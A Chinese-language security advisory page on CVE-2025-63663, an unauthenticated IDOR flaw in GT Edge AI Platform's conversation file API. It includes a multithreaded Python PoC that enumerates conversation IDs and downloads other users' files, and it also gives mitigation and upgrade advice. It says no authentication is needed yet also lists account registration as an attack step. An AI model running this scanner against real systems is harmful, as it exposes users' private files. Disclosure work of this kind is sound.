IPBUF安全漏洞报告
English
CVE-2025-63663 CVSS 7.5 高危

CVE-2025-63663 GT Edge AI Platform 越权访问漏洞

披露日期: 2025-12-22

漏洞信息

漏洞编号
CVE-2025-63663
漏洞类型
访问控制/越权访问(IDOR)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
GT Edge AI Platform

相关标签

CVE-2025-63663访问控制越权访问IDORGT Edge AI Platform文件泄露高危漏洞无需认证API安全

漏洞概述

CVE-2025-63663是GT Edge AI Platform中的一个高危安全漏洞,CVSS评分达到7.5分,属于高危级别。该漏洞存在于平台的文件访问API接口中,由于对用户会话和文件所有权验证不当,攻击者可以在无需任何认证的情况下,通过构造特定的API请求访问其他用户上传的私密文件。

GT Edge AI Platform是一个人工智能边缘计算平台,为用户提供对话式AI服务。用户可以在平台上进行各种AI交互,包括上传文件、创建对话、分享内容等操作。平台提供了/api/v1/conversations/*/files接口用于管理会话中的文件资源。

该漏洞的核心问题在于访问控制机制存在缺陷。攻击者只需要知道或猜测其他用户的会话ID(conversation ID),就可以通过遍历的方式访问该会话下其他用户上传的文件。这种类型的漏洞通常被称为不安全的直接对象引用(IDOR - Insecure Direct Object Reference),是Web应用中最常见且危害严重的安全问题之一。

由于该漏洞无需任何认证即可利用(PR:N),攻击者可以在网络的任何位置发起攻击(AV:N)。漏洞主要影响数据的机密性(C:H),可能导致大量用户隐私数据泄露,包括但不限于个人文档、商业机密、通信记录等敏感信息。

该漏洞于2025年12月22日被披露,目前厂商已发布v2.0.10版本修复此问题。建议所有使用GT Edge AI Platform的用户立即升级到最新版本,以防止敏感数据被未授权访问。

技术细节

漏洞位于GT Edge AI Platform的/api/v1/conversations/{conversation_id}/files API端点。该接口在设计时未正确实现以下安全控制:

1. 会话验证缺失:API未验证请求发起者是否属于目标会话的参与者。正常的访问控制应该确保只有会话成员才能访问会话内的文件资源,但当前实现中,任何知道会话ID的请求都可以获取文件列表和内容。

2. 资源所有权检查缺失:系统未验证用户请求的文件是否属于当前认证用户。在标准的访问控制模型中,应该执行所有权检查以防止水平越权访问,但该API缺少这一关键验证步骤。

3. IDOR漏洞利用:攻击者可以通过遍历不同的conversation_id来枚举并访问其他用户的会话文件。由于API返回的是真实的文件数据而非错误信息,攻击者可以系统性地收集平台上所有可访问的文件。

利用该漏洞的攻击流程相对简单:首先注册一个普通用户账号,然后通过API请求访问任意conversation_id下的files端点。如果目标会话存在且包含文件,服务器会返回完整的文件列表和访问链接,攻击者即可下载这些文件而无需任何额外权限。

漏洞影响范围涵盖所有在平台会话中上传的文件类型,包括文档、图片、音频等。由于平台可能用于商业或敏感场景,泄露的文件可能包含重要业务数据或个人信息,具有极高的安全风险。

攻击链分析

STEP 1
步骤1
攻击者注册GT Edge AI Platform普通用户账号,获取平台访问权限
STEP 2
步骤2
攻击者收集目标会话ID(可通过社工、猜测或日志泄露获取conversation_id)
STEP 3
步骤3
攻击者构造恶意API请求:GET /api/v1/conversations/{victim_conversation_id}/files
STEP 4
步骤4
由于API未验证会话参与者身份,服务器返回目标会话中的文件列表
STEP 5
步骤5
攻击者获取文件访问链接或直接下载文件内容,导致敏感数据泄露
STEP 6
步骤6
攻击者可通过遍历大量conversation_id系统性窃取平台上所有用户的文件数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-63663 PoC - GT Edge AI Platform IDOR Vulnerability # Target: GT Edge AI Platform < v2.0.10 # Vulnerability: Insecure Direct Object Reference in /api/v1/conversations/*/files API # Impact: Unauthorized access to other users' uploaded files import requests import json import sys from concurrent.futures import ThreadPoolExecutor, as_completed class CVE_2025_63663_POC: def __init__(self, target_url): self.target_url = target_url.rstrip('/') self.vulnerable_endpoint = f"{self.target_url}/api/v1/conversations" def check_vulnerability(self, conversation_id): """Check if a specific conversation ID is vulnerable""" try: # Try to access files from target conversation without authentication url = f"{self.vulnerable_endpoint}/{conversation_id}/files" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': 'application/json' } response = requests.get(url, headers=headers, timeout=10, verify=False) if response.status_code == 200: try: data = response.json() if 'files' in data or isinstance(data, list): return { 'vulnerable': True, 'conversation_id': conversation_id, 'status_code': response.status_code, 'response': data } except: pass return { 'vulnerable': False, 'conversation_id': conversation_id, 'status_code': response.status_code } except requests.exceptions.RequestException as e: return { 'vulnerable': False, 'conversation_id': conversation_id, 'error': str(e) } def enumerate_conversations(self, start_id=1, end_id=100, threads=10): """Enumerate conversations to find accessible files""" results = [] conversation_ids = [str(i) for i in range(start_id, end_id + 1)] print(f"[*] Scanning {len(conversation_ids)} conversation IDs...") print(f"[*] Target: {self.target_url}") print(f"[*] Threads: {threads}") print("-" * 60) with ThreadPoolExecutor(max_workers=threads) as executor: futures = {executor.submit(self.check_vulnerability, cid): cid for cid in conversation_ids} for future in as_completed(futures): result = future.result() if result['vulnerable']: print(f"[!] VULNERABLE: Conversation ID {result['conversation_id']}") print(f" Files: {json.dumps(result['response'], indent=2)}") results.append(result) return results def download_file(self, conversation_id, file_id): """Download a specific file from vulnerable conversation""" try: url = f"{self.vulnerable_endpoint}/{conversation_id}/files/{file_id}/download" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } response = requests.get(url, headers=headers, timeout=30, verify=False) if response.status_code == 200: filename = f"exfiltrated_file_{conversation_id}_{file_id}" with open(filename, 'wb') as f: f.write(response.content) print(f"[+] File downloaded: {filename}") return filename except Exception as e: print(f"[-] Download failed: {e}") return None def main(): if len(sys.argv) < 2: print("Usage: python cve-2025-63663.py <target_url> [start_id] [end_id]") print("Example: python cve-2025-63663.py https://gt-edge-ai.example.com 1 1000") sys.exit(1) target = sys.argv[1] start_id = int(sys.argv[2]) if len(sys.argv) > 2 else 1 end_id = int(sys.argv[3]) if len(sys.argv) > 3 else 100 poc = CVE_2025_63663_POC(target) vulnerable_results = poc.enumerate_conversations(start_id, end_id) print("-" * 60) print(f"[*] Scan complete. Found {len(vulnerable_results)} vulnerable endpoints.") if vulnerable_results: print("[!] WARNING: Target is vulnerable to CVE-2025-63663") print("[!] Recommendation: Upgrade to GT Edge AI Platform v2.0.10 or later") if __name__ == "__main__": main()

影响范围

GT Edge AI Platform < v2.0.10

防御指南

临时缓解措施
由于该漏洞无需认证即可利用且影响所有低于v2.0.10的版本,建议采取以下临时缓解措施:1)如果业务允许,暂时关闭或限制/api/v1/conversations/*/files接口的访问;2)配置Web应用防火墙(WAF)规则,对异常的conversation_id遍历行为进行检测和阻断;3)加强网络层面的访问控制,限制只有受信任的IP地址才能访问管理API;4)启用详细的访问日志监控,及时发现异常的文件访问模式;5)联系厂商获取紧急补丁。但最根本的解决方案仍是尽快完成版本升级至v2.0.10或更高版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表